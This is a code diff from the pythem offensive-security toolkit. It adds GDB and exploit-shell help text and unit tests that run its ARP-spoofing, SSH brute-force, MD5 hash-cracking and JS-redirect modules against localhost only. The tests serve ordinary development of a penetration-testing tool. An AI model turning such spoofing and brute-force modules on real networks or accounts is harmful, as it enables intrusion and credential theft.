|info locals | + |n:how many units to print |info sharedlibrary | + |f: format character |info threads | + | |info directories | + | |info registers | + | |whatis variable_name | + |________________________________________|____________________________________________| + _____________________________________________________________________________________ + |Watchpoints: |Stepping: | + |----------------------------------------|--------------------------------------------| + |watch |step / s | + |delete/enable/disable |next / n | + | |finish / f | + | |continue / c | + |________________________________________|____________________________________________| + _____________________________________________________________________________________ + |Breakpoints: | Examining the stack: | + |----------------------------------------|--------------------------------------------| + | break / br | backtrace / bt | + | delete | where | + | clear | backtrace full | + | enable | where full | + | disable | frame | + |________________________________________|____________________________________________| + \n""" + + +xploit_help = """\n +[Help] Interactive stdin exploit development shell. +[Optional] File as target +example: +pythem> set file executable +pythem> xploit + +\n""" if __name__ == "__main__": diff --git a/pythem/tests/test_module_imports.py b/pythem/tests/prerequisites_for_tests.py similarity index 61% rename from pythem/tests/test_module_imports.py rename to pythem/tests/prerequisites_for_tests.py index 73af2f4..1770267 100644 --- a/pythem/tests/test_module_imports.py +++ b/pythem/tests/prerequisites_for_tests.py @@ -4,38 +4,46 @@ import unittest -class TestModuleImports(unittest.TestCase): - def test_redirect_import(self): +class TestModulesObjectsCreation(unittest.TestCase): + def test_redirect(self): from pythem.modules.redirect import Redirect - def test_arpspoof_import(self): + redirect = Redirect() + def test_arpspoof(self): from pythem.modules.arpoisoner import ARPspoof - def test_dhcpspoof_import(self): + arpspoof = ARPspoof() + def test_dhcpspoof(self): from pythem.modules.dhcpoisoner import DHCPspoof - def test_completer_import(self): - from pythem.modules.completer import Completer - def test_dnsspoof_import(self): + dhcpspoof = DHCPspoof() + def test_dnsspoof(self): from pythem.modules.dnspoisoner import DNSspoof - def test_dos_import(self): + dnsspoof = DNSspoof() + def test_dos(self): from pythem.modules.dos import DOSer - def test_fuzzer_import(self): + dos = DOSer() + def test_fuzzer(self): from pythem.modules.fuzzer import SimpleFuzz - def test_cracker_import(self): - from pythem.modules.hashcracker import HashCracker - def test_pforensic_import(self): + fuzzer = SimpleFuzz() + def test_pforensic(self): from pythem.modules.pforensic import PcapReader - def test_scanner_import(self): + pforensic = PcapReader() + def test_scanner(self): from pythem.modules.scanner import Scanner - def test_sniffer_import(self): + scanner = Scanner() + def test_sniffer(self): from pythem.modules.sniffer import Sniffer - def test_sshbrute_import(self): - from pythem.modules.ssh_bruter import SSHbrutus - def test_webbrute_import(self): - from pythem.modules.web_bruter import WEBbrutus - def test_webcrawler_import(self): + sniffer = Sniffer() + def test_webcrawler(self): from pythem.modules.webcrawler import WebCrawler - def test_xploit_import(self): + crawler = WebCrawler() + def test_xploit(self): from pythem.modules.xploit import Exploit - def test_utils_functions(self): + xploit = Exploit() + def test_bruteforcer(self): + from pythem.modules.bruteforcer import HashCracker, SSHbrutus, WEBbrutus + hash_cracker = HashCracker() + ssh_brute = SSHbrutus() + web_brute = WEBbrutus() + def test_utils(self): from pythem.modules.utils import decode from pythem.modules.utils import encode from pythem.modules.utils import credentials @@ -50,7 +58,7 @@ def test_utils_functions(self): from pythem.modules.utils import cookiedecode from pythem.modules.utils import set_ip_forwarding from pythem.modules.utils import print_help - def test_interface_import(self): + def test_interface(self): from pythem.core import interface if __name__ == "__main__": diff --git a/pythem/tests/test_arpspoof_module.py b/pythem/tests/test_arpspoof_module.py new file mode 100644 index 0000000..504257e --- /dev/null +++ b/pythem/tests/test_arpspoof_module.py @@ -0,0 +1,52 @@ +import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +logging.getLogger("scapy.loading").setLevel(logging.ERROR) +import unittest +from netaddr import IPAddress +from scapy.all import * +from threading import Thread +from time import sleep +import os, sys + +sys.stdout = open(os.devnull, 'w') + +class TestMacTarget(Thread): + def __init__(self, group=None, target=None, name=None, args=(), kwargs=None, verbose=None): + super(TestMacTarget,self).__init__(group=group,name=name,verbose=verbose) + self.args = args + self.kwargs = kwargs + return + def test_sniffer_callback(self, p): + if p.haslayer(ARP): + if p[ARP].op == 1: + socket = conf.L2socket(iface='lo') + socket.send(Ether(src='aa:bb:cc:dd:ee:ff', dst='ff:ff:ff:ff:ff:ff') / ARP(op="is-at", pdst='127.0.0.1', + psrc='127.0.0.1',hwdst="ff:ff:ff:ff:ff:ff",hwsrc='aa:bb:cc:dd:ee:ff')) + if p[ARP].op == 2 and p[ARP].hwsrc == 'ff:ee:dd:cc:bb:aa': + exit(0) + def run(self): + p = sniff(iface='lo', prn=self.test_sniffer_callback) + +class TestARPspoofModule(unittest.TestCase): + def test_arpspoof(self): + from pythem.modules.utils import get_myip, get_mymac + myip = get_myip('lo') + mymac = get_mymac('lo') + from pythem.modules.arpoisoner import ARPspoof + arpspoof = ARPspoof() + test_get_range = arpspoof.get_range('127.0.0.0/30') + assert IPAddress('127.0.0.1') in test_get_range + resolve_mac = TestMacTarget() + resolve_mac.start() + arpspoof.gateway = '127.0.0.10' + arpspoof.interface = 'lo' + arpspoof.myip = myip + arpspoof.mymac = mymac + sleep(1) + test_resolve_mac = arpspoof.resolve_mac('127.0.0.1') + assert test_resolve_mac == "aa:bb:cc:dd:ee:ff" + arpspoof.start('10.0.0.1', None, 'lo', '10.0.0.10', 'ff:ee:dd:cc:bb:aa') + resolve_mac.join() + +if __name__ == "__main__": + unittest.main() diff --git a/pythem/tests/test_bruteforce_module.py b/pythem/tests/test_bruteforce_module.py new file mode 100644 index 0000000..84f595b --- /dev/null +++ b/pythem/tests/test_bruteforce_module.py @@ -0,0 +1,72 @@ +import logging +logging.disable(logging.ERROR) +from multiprocessing.pool import ThreadPool +from mock import patch, mock_open +from paramiko import RSAKey +from time import sleep +import threading +import paramiko +import unittest +import socket +import os, sys + +sys.stdout = open(os.devnull, 'w') + +host_key = RSAKey.generate(bits=4096) + +class Server(paramiko.ServerInterface): + def __init__(self): + self.event = threading.Event() + self.authenticated = 0 + + def check_channel_request(self, kind, chanid): + if kind == 'session': + return paramiko.OPEN_SUCCEEDED + + def check_auth_password(self, username, password): + logging.error("Credentials Received user: {} / password: {}".format(username,password)) + if username == "username" and password == "test_password": + self.authenticated = 1 + return 0 + return 2 + + def get_allowed_auths(self, username): + return "password" + +def listener(): + sock = socket.socket(2,1) + sock.setsockopt(1,2,1) + sock.bind(('',2222)) + sock.listen(100) + client, addr = sock.accept() + t = paramiko.Transport(client) + t.add_server_key(host_key) + t.set_gss_host(socket.getfqdn("")) + t.load_server_moduli() + server = Server() + t.start_server(server=server) + server.event.wait(3) + t.close() + return server.authenticated + +pool = ThreadPool(processes=1) + +class TestSSHModule(unittest.TestCase): + def test_ssh_bruteforcer(self): + from pythem.modules.bruteforcer import SSHbrutus + async_result = pool.apply_async(listener,) + bruter = SSHbrutus() + with patch("__builtin__.open", mock_open(read_data="test_password")) as wordlist: + bruter.start("127.0.0.1","username",wordlist,2222) + return_val = async_result.get() + assert return_val == 1 + def test_hash_bruteforcer(self): + from pythem.modules.bruteforcer import HashCracker + bruter = HashCracker() + bruter.type = "md5" + with patch("__builtin__.open", mock_open(read_data="test_password\n")) as wordlist: + result = bruter.hashcrack(hash="1a4d7a1d27600bdb006f9d126a4c4a81",wordlist=wordlist) + assert result.startswith("[+] MD5 Cracked: test_password") + +if __name__ == "__main__": + unittest.main() diff --git a/pythem/tests/test_redirect_module.py b/pythem/tests/test_redirect_module.py new file mode 100644 index 0000000..da65d77 --- /dev/null +++ b/pythem/tests/test_redirect_module.py @@ -0,0 +1,29 @@ +import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +logging.getLogger("scapy.loading").setLevel(logging.ERROR) +import os,sys +import requests + +sys.stdout = open(os.devnull, 'w') + +import unittest +from time import sleep + +class TestModulesObjectsCreation(unittest.TestCase): + def test_redirect(self): + from pythem.modules.utils import get_myip + myip = get_myip('lo') + from pythem.modules.redirect import Redirect + redirect = Redirect() + redirect.dnsspoof = None + redirect.js = "" + redirect.start(myip, 8080, 'test.js') + first_req = requests.get("http://localhost:8080") + assert "test.js" in first_req.text + assert first_req.status_code == 200 + redirected = requests.get("http://localhost:8080") + assert redirected.text == '' + assert redirected.status_code == 200 + +if __name__ == "__main__": + unittest.main() diff --git a/setup.py b/setup.py index ad0e13d..3303365 100644 --- a/setup.py +++ b/setup.py @@ -34,10 +34,10 @@ def finalize_options(self): def test(self): import os, sys, subprocess - print () tests = os.listdir('pythem/tests') for file in sorted(tests): if file.endswith('.py') and file != "full_test.py": + print("Testing: {}".format(file)) new_test = subprocess.call([sys.executable, 'pythem/tests/'+file]) if new_test != 0: break